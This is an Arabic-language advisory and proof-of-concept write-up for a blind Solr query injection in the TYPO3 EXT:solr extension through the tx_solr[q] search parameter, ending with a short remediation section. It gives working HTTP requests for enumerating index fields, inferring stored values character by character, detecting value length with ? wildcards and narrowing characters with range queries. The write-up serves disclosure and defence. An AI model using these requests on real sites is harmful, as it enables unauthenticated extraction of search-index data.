
إثبات مفهوم وشرح تقني لـ CVE-2026-56096، وهو حقن استعلام Solr أعمى في TYPO3 EXT:solr يتيح تعداد الحقول واستخراج البيانات دون مصادقة.
تم اكتشاف ثغرة أمنية معمارية في إضافة TYPO3 Apache Solr الرسمية (EXT:solr / apache-solr-for-typo3/solr). تسمح المشكلة للمهاجمين عن بُعد غير المصادق عليهم بحقن صيغة استعلام Solr/Lucene عشوائية عبر معامل البحث tx_solr[q]، مما يتيح تعداد الحقول بشكل أعمى غير مصرح به واستخراج كامل للبيانات الوصفية من فهرس البحث.
EXT:solr (معامل البحث: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:Nتقبل إضافة EXT:solr مصطلحات البحث المقدَّمة من المستخدم عبر المعامل tx_solr[q] وتُمرّرها إلى محرك Apache Solr. بحكم التصميم، تسمح الإضافة بمُعامِلات استعلام محددة—مثل أحرف البدل (*)، وأحرف البدل أحادية المحرف (?)، ومحددات الحقول (:)، واستعلامات النطاق ([a TO z])—لدعم وظائف مشروعة مثل التصفية المُجزّأة.
ولأن هذه المحارف كانت تُمرَّر مباشرة إلى بناء استعلام الواجهة الخلفية دون قائمة بيضاء مُلزِمة أو طبقة تجريد للاستعلام، يمكن للمهاجم تقديم صيغة خاصة بحقل معيّن للخروج عن حدود البحث المقصودة. يتيح ذلك للمستخدمين غير المصادق عليهم الاستعلام مباشرة عن حقول Solr الداخلية واستخراج بيانات الفهرس باستخدام تقنيات عمياء قائمة على المنطق البولياني.
field:*عبر إلحاق حرف بدل باسم حقل عشوائي أو مُخمَّن، يمكن للمهاجم التحقق مما إذا كان الحقل موجودًا ضمن المخطط:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
إذا كان الحقل موجودًا، يعالج Solr الاستعلام عبر جميع السجلات المطابقة (غالبًا ما يُفعّل ذلك رموز استجابة مميزة أو سلوكيات مرتبطة بالحجم)، مما يتيح تعداد الحقول الآلي القائم على قوائم الكلمات.
يمكن للمهاجمين استخراج قيم الحقول الحساسة حرفًا بحرف باستخدام الاستدلال البولياني:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?يمكن لمُعامِل حرف البدل أحادي المحرف (?) تحديد الطول الدقيق لسلسلة مخزّنة قبل بدء تكرار المحارف:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])تسمح استعلامات النطاق بالاستخراج عبر البحث الثنائي على المحرف الأول، مما يقلل عدد الطلبات المطلوبة من 26 إلى ~5 لكل موضع محرف:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
يتيح الجمع بين كشف الطول واستعلامات النطاق وأحرف البدل البادئة استخراجًا كاملًا للحقول بأقل بصمة من الطلبات.
EXT:solr.التهريب الشامل للمحارف غير كافٍ لأن مُعامِلات مثل * و : تخدم ميزات بحث مقصودة. تتطلب المعالجة قائمة بيضاء على مستوى طبقة التطبيق ونموذج تحليل:
[email protected]).